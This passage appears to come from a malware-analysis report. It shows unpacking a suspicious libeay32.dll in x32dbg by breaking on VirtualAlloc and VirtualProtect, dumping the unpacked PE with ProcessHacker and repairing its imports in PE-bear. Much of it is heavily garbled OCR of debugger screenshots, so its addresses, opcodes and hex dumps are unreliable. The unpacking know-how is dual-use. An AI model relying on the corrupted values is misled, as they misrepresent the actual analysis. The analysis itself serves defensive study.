3B 05 98 76 79 75 |Cmp eax,dword ptr ds:[75797698] EIP  760ASEDO <kernelsz.virtualallocs
- OF 82 0750306 |3b kernalbase. 75719638
BE 75 14 pusn dword ptr =<:Eebp+14] [ebp+14]:0penutexa
HER R A cries  oo000sas
33 Fe Yor esiless ZEjopyer gk
83 E0 co and_eax. FrerFRCO
s e CFo TF1 IF1
8D 45 F8 lea eax,dword ptr ss:[febp-sl
50 push eax LastError 00000002 (ERROR_FILE_NOT_FOUND)
56 push esi LastStatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)
80 45 FC lea eax,dword ptr ss:Debp-4J
S0 push cax G5 0028 S 0053
€A FF push FFFFFFFF ES 0028 DS 0028
SF 15 32 a7 70 75 |11 dword per d::[<azwallocatevirtuaTuenorys] B8 BEg
5 o Test sax,ean
- %5 on 3= kerneibase. 75coFasE o <o empt
&% Rovet [ xarro o ey
e et et o ey
c9 Jeave X87r3 ST3 Empty
cz 10 00 Fet 10 xe7r ST4 Empty
88 o ecx 1
E8 5A 29 FE FF €alll kerne 23c0 <
- 8 fo 3mp_kernelbase,7560FASE Defauit (stdcal) [5 T3]0 unlockee
ce nes 1: [esp+d) 00000000
(<3 int3 [esp+8] 00000BEE
< i [esp+C] 00003000
ce o| 4t [esp+10] 00000040
= i [espr14] 00000RGE
>
edi=1ibeay32.025731A9
L Text:756DFAL0 kernelbase.d11:$10FAL0 #10EE10 <virtualAlloc>
P Teturn to T1beaysz.02573758 Trom 77
Woumpt  @hoump2  WHoDump3s  @Woumps  loumps @ wath1  bellocals P Stuct T - ‘]
Address [ rex T
77CD1000 |36 00 38 1E 0050 DI CD 7
77CD1010/28 00 24 34 00 36 00|EC DA CD ¥
77ep1020| 1€ 00 20 1 00 4 00|CO DA D
7760103018 00 14 20 00 22 00| EQ DA D R a—
7760104030 00 32 3¢ 00 2¢ 00|30 DaCD
77CD1050 |20 00 22 18 00 1A 00 ZC piibeavaziz=aanen)
77CD1060|10 00 12 16 00 18 00| GO SR D 2
7760107014 00 16 06 00 02 00| ;0 EECD . .
S T 0 0y 22 03 52 00| gt RSt 0 1ibeays2.02471569 fron 1ibeays?.02ar0700
77cD1030| 06 00 0 08 00 08 00(8a 8D D g
77CD1040 08 00 0& 1€ 00 1€ 00|5c 84 cD
77cD1080| 22 00 24 Z|24 00 2C o0|@asic D 7 PSR T
77C010C0 20 0F DO 7 00 99 00 00/CO DB DC 7 Tiheaya2. 02470000
77CD1000 | 40 15 00 77|50 1A DO 77|20 12 DO 77|70 71 DO 2o
77cD1080| 00 00 00 06|00 00 00 ST
77ep10F0 |00 00 00 2 BC 77 (EQ 20 D0 77|30 EA BC 7
77eD1101 e A5 CF 77|50 B8 DC
77e01110 30 EAD: QA7 B0 77| 10 £A D
77eD11: 6066|2714 01 £2|36 15 €6 45|20 FE OO
77CD1130|EE E3 D3 FO|06 00 00 0O|E4 §2 <D 77|01 00 00 0O
77CD1140|9a 8 13 35|96 5D @D 4F|St 20 A2 43|02 25 F9 3a
77CD1150 06 00 01 00|g8 £2 CD 77|02 00 00 00|E3 28 2F 4 M
77CD1160|85 53 41 44|BA S DS 95|44 4a 6= 33|06 00 0z 00| Q
Command: | [oefatt

[Figure 17] Reaching the breakpoint

Before running to the next breakpoint let's make sure what has been allocated by putting breakpoint to return (ret) or just Run
Until Return [Figure 18]. return from this function it appears to be some random data has filled up EAX [Figure 19].
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Ortiar
Options

'l WA TP

Mar 4 2018

Help

B

.Text:756DFASC kernelbase.d11:$10FASC #10EESC

|
1= thels . _ [0257375B(return to 1ibeay32.02573756 fr 4

|1 Motes ® Breakpoints B8 Memory Map L) call stack =3 SEH Je#| Script g Symbals <2 Source A e
push eax =
FF ush FFFFFFFF " LiEE D J
15 38 AT 79 75 dword ptr ds:[<&ZwAllocatevirtualMen EAX DOA40000
co test eax,eax EBX  OLEFSC22
0A js kernelbase.756DFASFE
75 FC mov esi,dword ptr ss:|[Jebp-40 ECX 07330000
& mov eax,esi EDX  00A40000
pop =51 EBP  OO76F3AD
Teave ESP  0076F378
10 00 Fet 10 ESI  025730F0 Tibeay32.025730F0)|
[of:] MoV ecx,eax EDI 025731A9 Tibeay32.025721A9
5A 23 FE FF Eall kernelbase.756C23C0
. ~ EB FO jmp kernelbase.7SeDFASE EIP  756DFASC kernelbase. 756DFA)
. cc int3
: EE :23 EFLAGS 00000344
! ZF 1 PF 1 AF O
. cc int3
b cc int3 OF 0 5F 0 DF O
* cc ints CFOo TF1 IF 1
. cc int3
. EC int3 LastError 00000002 (ERROR_FILE_NOT_|
. 8B FF mov edi,edi Last5tatus COO00034 (STATUS_OBIECT_N|
. 1 push ebp
L] BB EC mov ebp,esp G5 00ZB FS5S 0053
® 56 push esi [ — ]
. 57 ush edi -
= 2 65 e e Default (stdcall ~[5 [2] [ unlocked
. 56 push es1 " Ex [esp+4] 00000000
. FF 75 08 push dword otr ss:[Eebo+sill 2: [esp+8] 0D0DODOBGE
1 3: [esp+C] 00003000
4: [esp+10] 00000040
5: [esp+l4] 0000DOBEE

Gyoump1  Woump2  WWoump3  @pump4  Eloumps & watch1 00000000/
Address | Hex ASCII ~ e

00A40000 | 00] 00 00 00|00 00 00 00|00 00 OO 00|00 00 00 00 nSon

00A40010| 00 00 00 00|00 0O 00 00|00 00 0O 00|00 00 00 0Of.. S ODCORES

00A40020| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 00 00 00 q

00A40030| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 OO 00 00 e libeay22202= 22080

00A40040| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 0O O0Of.. .

00A40050| 00 00 OO0 00|00 0O 00 00|00 00 00 00|00 OO 00 OO0 .. T [likeay2 202522000

00A40060| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 OO 00 00 | ooreracs

00A40070| 00 00 00 00|00 0O 0O 00|00 00 00 00|00 00 0O OOf.. F024F1569| return to 1ibeay32.024F1569 Fr
00A40080| 00 00 00 00|00 00 00 00|00 00 OO 00|00 OO 00 00|.. 025730F0| 11beay3. 02573000

00A40090| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 OO 00 00 e .

00A400A0| 00 00 00 00|00 DO 00 00|00 OO OO 00|00 OO 00 00 0t o

00A400B0| 00 00 00 00|00 00 00 00|00 00 OO 00|00 OO 00 00|.. 7EOACA30| kernel32.OpenMutexa

00A400C0| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 0O 00 00 A 0050|i1 Fosy = 5%0 TaRO0G0

00A400D0| 00 00 00 00|00 0O 00 00|00 OO OO 00|00 OO 00 00 eReED .

00A400E0| 00 00 00 00|00 00 00 00|00 0O OO OO|00 OO0 00 OOf.. v ey v
< >
Ccmmand:| Default  ~
[Figure 18] Empty EAX Register

320bg - File: libeay32. Viodule: kernel32.dl - Thread: Main Thread 5504 - o x

v var az0sn
ws t2MOCePnt AL ES

By @oaph  [Flog  [DNotes  ® Breakpoints 8 pemoryMap () CalSack SRS [0l Sarpt ESymbols < Sowce S References W Threads < Snowman | M Handes  §7 Trace

Eo
| 760A5ED2 55
| 760a5ED3 88 ec

50
A FF2s 08131176
=3

cc ntz
o nts

< nt:

c nt3

cc nts

=3 nts

e ntz

cc ntz

o nts

cc nt3

cc ntz

o nts

< nt:

c nt3

cc nts

=3 nts

e ntz

cc ntz

e nts

88 FE mov edi, ed
55 push_ebp
88 EC

VATtualATIoE

virtualalloc

virtualrree

virtualrree

~|[ Hide Fru

EAX  024F0000 Tibeayz2. 0240000
EBX  003C3B3Z

EcX  0258C000

EDX  00A4006L "H\n"

EBP  0076F3A0

ESP  0076F37C

ESI  00A40000

EDI 00440089

EIP  750AsEDO <kernelsz,virtualalloc>
EFLAGS 00000385

zE 0 1 aF 0

OF 0 SF1 DFO
CF1 TF1 TF1

LastError 00000002 (ERROR_FILE_NOT_FOUND)
LastStatus CODD0D34 (STATUS_DBIECT_NAME_NOT_FOUND)

GS 0028 FS 0053
ES 0DZE DS DOZE
Cs 0023 55 0028

STO Empty 0.

& o xe7r3 sT3 Enpty o
& = X87r4_DD00OODOOODDODDOOO0D ST4 EMPTy 0.0000DOOODOOODOOO0D
= = e
& el Default (stdcal) ~ 5] 0] unlodex
cc ntz L: [esprd] 00000000
& o= 2! [asp+s] 0D0002AF
& &= 3: [esprc] 00003000
cc ntz 4i [esp+10] 00000040
= £ 5i [asp+14] DOA4O0EL "#\n"
>
=ai-00A30089
- text:760ASEDO kernel32.d11: $1SEDD #6EDO <VirtualAlloe>
GAZ| FeTUrN TO DUAROBAZ Trom 777
Woump1  Ulpump2 W4Dump3  @lpumpa  WWDumps @ watch1  besllocal ) Struct 4
Address | Hex AsCIT ~
00A40000( 66 51 £ 18[C5 ES 00 00|00 0D 5& 80|43 53 66 EF |F,&AE. ... [.C5re
00A40010(0D D6 BF C5(FO 64 75 51|E9 0B AB 00|00 B3 CE 09| 5 -
00440020(00 00 81 EA|73 EC 00 00|85 FA 31 DB|GE BE GF DF
0044003089 CE 83 E6[03 75 1A 66|81 C3 B1 77|89 FB 66 01| N
0240040(DA 66 F7 DA|68 D2 03 CL|CA 08 66 B1|C7 A5 16 89 ST OB (D
00A40050(D7 30 10 40|E2 D& E9 43|05 00 00 D3|DO FF FF FF SRR
et [ B oo G P e Bl e e pe e e e 024F1569| return to 1ibeay32.024F1569 from Tibeay32.024FD700
00A40080(28 2 1A 28(18 10 23 1c|00 00 00 0626 11 12 21 o it=sva bzt
00440030(17 15 08 00|00 EO 16 08[00 00 00 00|00 08 00 00 o8723800
00240080( 00 8 18 07|00 3C DI 38(00 AE €8 00|00 FA 8E 34
00440080( 00 DA 60 35(00 42 31 OE|00 55 83 €551 56 57 38 e Al
004400C0 10 88 70 14|FF 36 FF 75|08 E8 13 00 oot EEEo
0440000 D000 89 07 83 C7 04 83|C6 04 E2 EC|5F SE 59 89 )
00A400E0(EC 50 Cz 10(00 55 89 E5|53 56 57 5109 DD 64 F o oo0000]
00A400FO(3E 30 G0 00|00 E5 83 4D|0C 8B 48 OC |68 11 8B 41 b
0044010030 64 02 88(7D 08 57 50[E8 70 00 00|00 8 CO 74 o2 e
goas0110 04 82 01 E|E7 88 41 18|30 88 30 xc |01 08 g8 35| Aéglae X 00000r )
00A40120(73 55 50 OL(C3 8B 48 LC|8B 53 20 85|78 18 BB 58| xkP.AK..5 . [..[ 00500088]
0040130(24 01 C1 OI[C2 01 €3 85|FF 74 35 4F(88 32 58 50| $.AIAIA YTs0.2XP e eaaee]
00Ad0140) 01 6 54 01|<F 73 oC S6|e8 30 00 00|00 35 Co 74 k[ Iv-Teol AT S5FD63F0)
0040150/ 08 83 Cz 04|83 <3 02 EB|DE 58 31 D2|66 88 13 <1|..A..A. &px10f. . Al e FArD| e e 3ilaminn arrnarT Semn o 9
< > >
Command: | Ipétalic = ¥

[Figure 19] EAX Register After Return
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When Follow in Memory, it appears that memory space has Execute, Read, and Write which is a sign of hidden code to be
executed in the next steps

PSPPI | PR P FrV W=
00927000 | 00003000 |Reserved (00920000) PRV
009330000 | 0DOFCO00 | Reserved PRV
00A2CO00 | 00004000 | Thread 1790 Stack PRV
Q0AZ0000 | 00002000 | YDevice\Harddiskvolumeliwindows' Syswowe4oleaccrc.dl1

00A40000 | 00001000 PR
O0AS Q000D [ 00020000

OOAT 0000 | ODOEDDOD | Reserved (O0AS0000) RV
00B50000 | 0DOFCO00 |Reserved PRV
00C 4C000 | 00004000 | Thread 17C8 Stack PRV
0OCS 0000 | 000FCO00 | Reserved PRV
00D 4C000 | 00004000 | Thread 135C Stack PRV
00D5 0000 [ O000ECDD MAP [Figure
OODSEQDD | 00LFZ2000 |Reserved (00DS0000) MAP
O0F50000 ( 00181000 MAP
O10ECQCOOD | 0007 BO0D0 MAP
01153000 | 01383000 | Reserved (OL10EQY MAP
024F0000 | 00001000 | Tibeay3z.d11 ING
024F1000 | 0007BO0O | . Text” Executable code IMG
0256C000 | 00005000 | ".rdata” Read-only initialized data IMG
02571000 | 0000BO0O | ".data" Initialized data ING
0257C000 [ 0000D000 ".ogfids™ ING
02589000 | 00001000 “.rsrc” Resources IMG
025 8A000 | 00002000 | “.reloc” Base relocations ING
02640000 [ 00004000 PRV
Ancraannanl nnnecnnn lnasAarioad Fame annoanty LN

20] Memory Map x32dbg

After another Run [F9] and stop at a second <VirtualAlloc> breakpoint and free up space in memory and by checking EAX
dumped value it appears to have nothing. The memory space of the new allocated is also with ERW privileges. It's the same
as the previous stop as the <VirtualAlloc> but this time different memory place and different gibberish values

2 - Module: kernelbase.dll - Thread: Main Threa

COE =%

Mar 42013

»§ tnl &=

@@ r# Al B
B v @oah  (tog  [lnotes  ® preakponts W8 MemoryMap [ ColStachueefRgii ol sopt  Fsymbols <> sowce S References W Thveads ) Snowmen i Hendes ¢ Trace
== . <z 1000 Fet 10 .
GDFASF 8B C8 moV_ecx,eax '—\’ |_I Hide FPU
6l E8 5A 29 FE FF €a1l kernelbase.756C23 2!
- Es mp_kernelbase. 7580FASE EAXR s
(< int3

lass Ecx 07930000
= EDx 02520000
Iy EBF  0076F320
e ESF  o07erirc
int3 ESI 00A40000
ints EDI 00A400B3
int3
WU‘.hed'b‘eﬂ' unmapviewOfFile EIP TEEDFASC kernelbase.756DFASC
push op
mnvhebpgeip EFLAGS 00000344
Eidy ZF1 PE1 AF O
push edi___ oFo sFo DFO
s CFO TF1 IF 1
push dword ptr

b e

Debp-s]

[<&zwunmapviewoTsectionEx>]

Test edi,edi
s kerneibase.7571964a
Xor esi,esi

inc esi

edi
mov eax,esi
i

pop ebp
et 1

GDFASF
756DFAAD

Findclose

LastError 00000002 (ERROR_FILE_NOT_FOUND)
LastStatus CO0DD034 (STATUS_OBIECT_NAME_NOT_FC

G5 D028 FS 0053
ES 0028 DS 0028
€S 0023 g5 0028

X87r0 00000000000000000000 STO EMpTy 0.000000C
X87r1 00000000000000000000 ST1 EMPLY 0.000000C
X87r2 00000000000000000000 STZ EMpTy 0.000000C
X87r3 00000000000000000000 STE EMPLY 0.000000C
x87r4 ST4 Empty 0.000000

Default (strcal)

1: [esp+d] 0OODDOOD
esp+s] 000002AF

esp+C] 00003000

esp+10] 00000040

esp+14] 00A40061

weynn

.text:75EDFASC kernelbase.d11:$10FASC #10EESC

4 Dump 2

44 Dump 1

4 Dump Dump 4 bumps @ watchi  fellocas ) stuct
Woump3 gy [ @ Watch 1 beellocas

00000000|

AT

0000024F

00
00

00
00

E0| O 00
025900C0| 00 00 00 00

00
00

0259012000 00 00

00
02590130 00 00 00 00

00[00 00 00 00|00 00 00 0[O0 00 00 00|w.
00|00 00 00 00|00 00 00

00|00 00 00 00|00 00 0O 00|00 00 0O
00 00 00 00|00 00 00 OO
00 0D 00 00|00 00 00 0O
00|00 00 00 00|00 00 00 00|00 00 0D
00|00 00 00 00|00 00 00 00|00 00 0O
00 00 00 00|00 00 0O OO
00 00 00 00|00 00 0O OO
00{00 00 00 00|00 00 0O 00|00 00 0O
00|00 00 00 00|00 00 00 00|00 00 0D
00 00 00 00|00 00 00 OO
00 00 00 00|00 00 00 0O
00 00 00 00[00 00 00 00|00 00 00 00|00 0O OO
00 00 00 00|00 00 00 0O
00 0D 00 00|00 00 00 0O
00 00 00 00[00 00 00 00|00 00 00 00|00 00 0O
0253011000 00 00 00|00 00 00 00|00 00 00 00|00 00 00
00 00 00 00|00 00 0O OO
00 00 00 00|00 00 0O OO
0259014000 00 00 00|00 DO 00 00|00 00 00 00|00 00 00

00 00 00
0o
00
00
0o
00
00
00
00

00
0o

00002000|
00000+40|

0B777585

0076F3E4|
0076F 3E4|

025730F0|
0E77280A|
002087395

c || ooasssFy
00000000|
00000000|
023E306E
00000079
00000013
00000035
S5FDEZFO|

< o
00450061 ™

To ODA4DGAZ from 227

025730F0| 1ibeay32. 025730F0

024F1569| return to 1ibeay32.024F1569 from 1ibeay32.024FD700
Tibeay3z.025730F0

760AC430| kernel32, OpentuTexa
5 | 02+Fo000| 11beaysz. 024Fo000
0

06 00 00 00|00 00 06 00|00 00 00 00|00 00 00 © | e com e coremmreem: e
< >
Command: |
010E0000 | 0007 8000 MAP -R-==
01158000 | 01389000 |Reserved (010E0Q000) MAP -R---
024F0000 | 00001000 | Tibeay32.d11 IMG ERWC-
024F1000 | 0007BOOD | . Text” Executable code IMG ERWC—
025 6C000 | 00005000 rdata" Read-only initialized data IMG ERWC—
02571000 | 0000B000 data Initialized data IMG ERWC-
o |0257Cco00|0000DOOO| ".gfids” IMG ERWC-
025832000 | 00001000 rsrc” Resources IMG ERWC-
025 8A000 | 00002000 | ".reloc” Base relocations IMG ERWC -
02530000 | 00001000 PRV ERW-—
02640000 | 00004000 PRV -RW--
02644000 | 0000CO00 |Reserved (02640000) PRV -RW-—
02750000 | 00002000 PRV -RW--
02753000 | 0000D000 | Reserved (027500007 PRV —-RW--

[Figure 21] Second VirtualAlloc Breakpoint
The next Run (F9) would be stop at <VirtualProtect> when dumping EAX register, there appears to be something close to MZ
header! By checking the dump values there are some normal ASCII characters that resembles executable binary. Reaching
this point means the next Run (F9) will be overwriting the original PE (Libeay32.dll), in this case, with new file
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Il - Thread

Main Threa

T var 42018
c9E %I I&Hﬂslfx# AL E®
B v @ on © Breskponis ™8 MemoryMap () CalStack  SSEH  [ofScipt @) Symbok O Sorce S References Trreads < Snowmen 5 Handes %7 Trace
e oy e ArTuRTPratecE e =g
25 Ec 12 1176 |Jmp_award per ds: [<avirtualProtects] \virtualerotect EsX  oo3cssiz
5 dmn Sox  pasirear
oy Sox 0ooaco0s
pincs S oo7er3n0
e EF  oorersrs
int3 ESI 00A40061 At
nes ©1 00000000
e
ne S 7eATI0  <kernel3a.virTualprotects
nes
e sruses  ooooosss
ane3 ZE 1 PE L AEO
i3 Gro sro oo
it FoTi i
nes
e LastError 00000002 (ERROR_FILE_NOT_FOUND)
ne Laststatus COO00034 (STATUS DBIECT NAME. NOT_FOUND)
nes
nes G5 0028 £S5 0053
& e =2 508 be 0022
s e moy- et e beact fvateactcoxnorker B2EE B8
gz cop
E o
o D o e e D e
FE FF FF FF test eiK.F FFFFFE PTY 0.
p 85 FE 31 01 00 |jne kern&l32.760BAF41 x87r2 ST2 Empty 0.
H 75 0C push dword ptr ss:[ebprCll X87r3 ST3 Empty 0.
H E0 01 and eax,L X87r 4 _00000000000000000000 ST4 Empty 0.000000000000000000
i pusn"e. i.—
| 13 ;‘;}1,§:°g§ DEr ds: [<eRTIDEACTTVATEACTTVATTONCONTEXT. o =[5 )00 urockes
H inc eax’ 4] -
H pop ebp
i 08 00 Fez - 000
| int3 v Lospan) "oonsnser
i - B) [espt+14] 025A0000
=
. text:760A7D10 kernel32.d11:$17D10 #8010 <VirtualProtect>

‘00A4083D| FEtUrn T DDAADEID
024F0000| 11beay32. 024F0000

Yhoump2  8oum3  @Woumps  Houmps 0 watch 1 Dellocals 7 Struct

AscIT

AR =
01 40 €2 15|C6 E8 09 1C|OE 1F BA F8|00 B4 039 CD|.cA. &e, .1 025A0000|

21 BB 01 4C|CO OA 54 68|65 73 20 OF|70 72 6F €7 !,.LA.This prag 0258DB5 4|
SRnEoaimanEdnEa R LN e
ek S E -

R e S vy asraoo
Er e -

024F1569( return to libeaysz.024F1569 from Tibeaysz.024FD700

E colsz
52 63 28 AC|42 50 45 02|4C 025730F0| 11beay32. 025730F0
0|

&3
70 03 66 5F|AC 14 70 E0|02 02 21 0B|0L
ED 03 08 64(C2 30 3 24|10 44 50 03|93
02 23 06 06|34 A3 08 38(32 DO 41 04|33 08 1A
a 07 DO A&

|3 760AC430| kerne132. Openkutexa

024F0000| T1beay32. 024F0000
Fol

B
"
F
¥
s
5
8

=
3
@
&
o
2
@
8
B

f Pl
0|40 co 9940 8 29| @c(.MRA GH»" 2. )
01 D6 89 AB|20 5A iF C1|2E 74 €5 78|CE 21 50 3F|.0." Z.A.texi1P?

7352 sisclBy FC st sil1L 4a 42 o1lcc 40 07 ze|tia\ T 08 I8y
ae el

A4 27 E0 80[65 0z 08 80|32 4C A2 BE|23 60 CO A0|='
€5 6C 6F 63|82 08 D4 DC|CE OC 08 11|AG AF 28
422301 77|03 56 88 00| F1 £6 44 2408 01 C7 06/8

R
A

& 28/c3 83
&5 &8 85 RIS I3 35 52IBX 6F 57 33153 55 35 Slc Bt

il - Thread: Main Thread 5

e View Debug u Hep  Mer 42018
coE 50 ¥ % § =R.<§’W<6lﬁc#m e
Bou Dopr  [iog _;]Nnes ® Breskpointe W MemoryMap  [J/CalStack  SnSEH o/ Seipt  ®]Symbok O Sowee ) References W Threads </ Snowman M Handes ¢ Trace

Ezrs 88 FF mov_edi,edi T oy
[ 760A7D12 55 push ebp Fde FRU
5 e Fou ebpress o
S 55p oo B ooaes:
. TRV | I S — [RT—— fx ooscss:
g « ancs mx  o2sro0es | veer
s o fr oorersa
: & S ooens
& 1 omroies | ttentt
: & 81 ohneses
. &
. gg EIP  760A7D10 <kernel3z.virtualProtect>
0 &= EFLAGS 00000304
& 2ZF 0 PE1 AF O
: &« Fo sooeo
g = Goowi Rl
. &
. cc LastError 00000002 (ERROR_FILE_NOT_FOUND)
. & FREELEL 20008TE (SRR R R _rouno)
&
. & o5 0028 £ 0053
: & &3 oa b5 ooes
: 5 e beactivaterctcrmorker esonzeosfooze
. 2
. =
: B0 oy S22 Sabra pir ss:lesprel xe7ro sTo ety
A3 FE FF FF FF test eax,FFFFFI pTy
~ OF 8 FE 31 01 00 ine_kerne13z,760BAF4L ::;:; §§ Emgg
DR kBT o pr e e
o|7coamse| s fo o1 B prr ss el X87r 4 0000000D000000000000 ST4 ETPTY 0.000000000000000000
| 7c0A7D49 50 push eax ey 0+ 000000000000000000
| 760a7D4A FF 15 BC 1a 11 7¢ | Eall dword ptr ds: [<ARTIDEACTIVATEACTTVATiONCONTEXTS Defauit -
B8 [ s (20 ke
inc eax es|
50 pop ebp =
& 05 00 s
2 = MRS i
- ) ‘esp+14] 025A0000
32. 10 #8010 <virtualProtect>
z R 00% 0951 5 o 00aaoosi Fron 7
44 Dump 2 A% Dump 3 U4 Dump 4 4 Dump 5 Watch 1 I*-I Locals ) stuct 0. 024F0000| hn:ﬂyn 024F0000 N
Hex. |AscIT ~ o
oS35 50105 5000 9[04 09 5 GOTFE FF 00 3 He 0000002
35 0 39 00105 00 00 0| 0 03 5 00|00 b0 03 G| 11l : soss0se’
38 53 35 52150 05 53 25|30 63 29 035 55 53 4| 11111 40620
35 85 30 8500 0 65 00(35 00 0 op|28 05 va o) 11111l st
GF 17 32 02190 54 03 Co| 21 83 03 %o\ o1 5% gg Ll b 32
BB YRR ER EE E 5 e s 02573070 11beay32.028730F0
SII0E0 LN S5 B E S G G e tene e
G 5 & 132 o0 03 0x|23 03 0 59130 00 03 00| mode,ors.
TREsEsRBEL RRa L Rl PRk priciecalis bemtoz e
0|1C A EA A9|CO D5 24 A3[IC 2A EF A9(C4 D5 so- 08773804 )
R A

3 Aseags 0 o2
E5 D3 23 23|20 b3 1 A3| 5 ac o4 A3|co D3 24 Aol Adseaosems AGSS)
62 BC 26 A8|CO D5 24 A9|52 69 63 68(C1 DS 24 A9| bu& ADSER1CHAOSE e o B 2 O
00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 5 o -
o3 4F00E0 | 00 00 00 00|00 90 00 00/S0] 45 00 09 4C 01 o8

024F0100( 05 01 OE 10[00 40 03 00[00 6A 00 00|00 00 0O
024F0110( 90 90 00 00|00 10 00 00|00 50 03 0O

024F0120| 00 10 0D 00|00 02 00 00|06 00 0D 00[00 00 0O
024F0130| 06 00 00 00|00 00 00 00(00 BO 03 D0[00 04 0O
024F0140| 00 00 00 00|03 00 40 §1(00 00 10 00(00 10 00
02480150/ 00 90 10 90|00 10 00 90|00 99 00 09|10 00 00
024F0160|D0 AA 03 00|50 00 00 00|Fo AB 03 00|28 00 00

[Figure 23] Packed Executable

F]
B

It’'s possible to dump memory location from x32dbg Memory Map, but choosing alternatives is sometimes better like using
ProcessHacker. When running ProcessHacker in Administrative mode > selecting the running process inside x32dbg > open
Properties > Memory tap > Locate the same memory (0x24f0000) “which is dynamic value different on each run” > Right
click and save
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Hacker View Tools Users Help
22 Refresh {03 Options | ## Find handles or DLLs %% System information | (7] [ ¢

Processes | Services Metwork Disk
Name PID ASLR Integrity CPU  I/Ototal... Privateb.. Username Description
v [1=] System Idle Process o 96.50 EARTE R AR A suE
~ (5] System 4 System 0.14 £
- smss.exe 396 ASLR  System
. General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Disk and Network Comment
i Memory Compression 2204 System
5] Interrupts 0.73 Hide free regions Strings... Refresh
| Registry 136 System
| csrss.exe 516 ASLR System Base address Type Size Protect... Use Total *
¥ [5=] wininit.exe 582 ASLR  System 0x330000 Private 1,024k8 RW Stack 32-bit (thread 6032) :
> [a] services.exe 740 ASLR  System 0x230000 Mapped 8ks R C:\windows\Syswows4ipleaccre.dl B
K| Isass.exe 764 ASLR  System 0xa40000 Private 4k RWX 4
) fontdrvhost.exe 916 ASLR  Low 0xa50000 Private 1,024k8 RW Heap 32-it (ID 1) 12
——— 600 ASLR  System 017 128k 0xb50000 Private 1,029k8  RW Stack 32-bit (thread 6088) £
= e 632 ASLR S 0xc50000 Private 1,024kB RW Stack 32-bit (thread 4956) €
0xd50000 Mapped 2,048k8 R E
5| fontdrvhost.exe 920 ASLR Low oxf50000 Mapped 1L,540k8 R 7
5| dwm.exe 832 ASLR System D.67 0x100000 Mapped 20,434k8 R £
¥ m explorerece 5140 ASIR - Medium 0.62 0%240000 Image 624Kk8 WCX C:\Users\REM\Desktop\download\ibeay32.dl 55¢
5| vm3dservice.exe 664 ASLR Medium 0x2520000 Private 552kB  RWX 552
) vmtoolsd.exe 3928 ASLR Medium 0x2640000 Private &4l8 RW Heap 32-bit {ID 2) 1
@ OneDrive.exe 1468 ASLR  Medium 0x2750000 Private 64k RW Heap 32-bit (ID 3) 1
88 ProcessHacker.exe 2148 ASLR  High 054 0x2920000 Private &4l8 RW Heap 32-bit {ID 4) 1
0x72170000 Image 332k8 WX C:\windows\Syswows4ioleace.di 7
0x753e0000 Image 636KE  WCX C:\windows\SysWows4apphelp. di 240
0x75480000 Image 40kB  WCX C:\Windows\SysWOW64\cryptbase . dll 3
0x75490000 Image 48K WCX C:\Windows\SysWOWs\sspicii. di &t
0x754c0000 Image 472kB  WCX C:\Windows\SysWOw64\sechost.dll 9
PU 39 35D‘“ Physical memory: 1.73 GB (21.93%) Processes: 112 | 0x755d0000 Image 2,044K8  WCX C:\Windows\SysWOwWe4\KernelBase. di 37 |
) =T 0x757f0000 Image 1,392k8 WCX C:\Windows\SysWOW64\gdi32full.dl 160
0x752a0000 Image 384kB  WCX C:\windows\Syswowa4\baryptprimitives. di 9
N 0x75300000 Image 92k WCX C:\Windows\SysWOWS4win32u.dl g
0x75220000 Image 988kB  WCX C:\windows\Syswowsiole32.dl 15¢
0x75ba0000 Image 148kB  WCX C:\Windows\SysWOWs4imm32.dll £
0x75b=0000 Image 2,520k8 WX C:\windows\SysWOWs4combase.dl 29;
0x76090000 Image B96KE WX C:\Windows\SysWOW&4kernel32.dl 20
0x76180000 Image 1,152k8 WX C:\windows\SysWowsiucrtbase.dl 25¢ v
0x762c0000 < >
Close:

14 item|

[Figure 24] ProcessHacker Dumping memory

When loading this dumped binary in PE-bear, it appears to not having any Imports. Which is normal because it's been dumped
from memory, but it requires fix get things right

G PE-bear v0.5.0 [C:/Users/REM/Desktop/download/mixed/24f0000_mem_dump.bin] - [m} x
File Settings Compare Info
~ [ 24f0000_mem_dump.bin x|+ 52 4 9
DOS Header g o 0123456789ABCDEF
@l Dos stub 5190
v [ NTHeaders 9120
Signature 5180
File Header 91co
Optional Header 9100 €2 00
Section Headers 120 aczdz
~ Sections 91F0 ca 08
v B text — ———
= - o100 Disasm: .text  General DOSHdr  RichHdr  FieHdr  OptonalHdr  Section Hdrs Exports Imports BaseReloc Debug
o rdata o+ B
oy data Offset Name Func. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MameRVA FirstThunk
o reloc 39FF0 o FALSE 21DCF783 117D6BBS 65DE5847 D&137BAA A242CFAB
3A004 0 FALSE 46C16B93 46DAEGIB 4BOCDECA DBBTCEET E7510CBE
34018 o FALSE DBSEFBES T00401F9 8EBDCE29 41329804 4BB76908
3A02C 0 FALSE FBBATF2E 5FAB9599 139CBBBS BB62502F AB2CF2CE
3A040 0 FALSE ATEAF4E2 D10477CF E212DSBC TBF31A32 22E983F0
34054 0 FALSE DDTD3EBE 65CEGB99 3A36E23E 8F124066 T8BFED30
3A068 0 FALSE DF219442 EF78044 EGCES3EC GFFSBAS0 T7BCBF43
3407C o FALSE 24320104 TF20316F 99CC82F8 3534CB0F 768
24000 MZA o FALSE n 0 0 n 1RANDAA hd
[ 0 entries |
=
a
E
]
3
]
E
g
E
o
g
=4
S
Voaded: C:/llsers/REM/Desktan/downlaad/miced 2460000 mem dumn.bin Check far undates

[Figure 25] PE-bear Imports section

The fix requires matching the ‘Raw Addresses’ to match ‘Virtual Addresses’ of this binary. When values matched the Imports
section is fixed and shows DLL values

15/21



@ PE-bearv0.5.0 [C/U ktop/download/mixed/240000_mem_dump bin] - O X
File Settings Compare Info
~ [& 24f0000_mem_dump.bin X 2 4 0 F B
DOS Header & 012 3485678 9ABCDEF 0123456789ABCDEF ~
' DOS stub 9130 14 24 E8 05 4B 02 00 8D 54 24 10 52 8D 4C 24 04 - % - - 5 - F -
~ 7 NTHeaders 91A0  Es 7B 03 02 00 8D 4C 24 10 E8 €2 03 02 00 €A 04 S . . .
Signature 51B0 S5 8D 4C 24 08 E6 1€ 06 02 00 €A 04 53 8D 4C 24 s - s
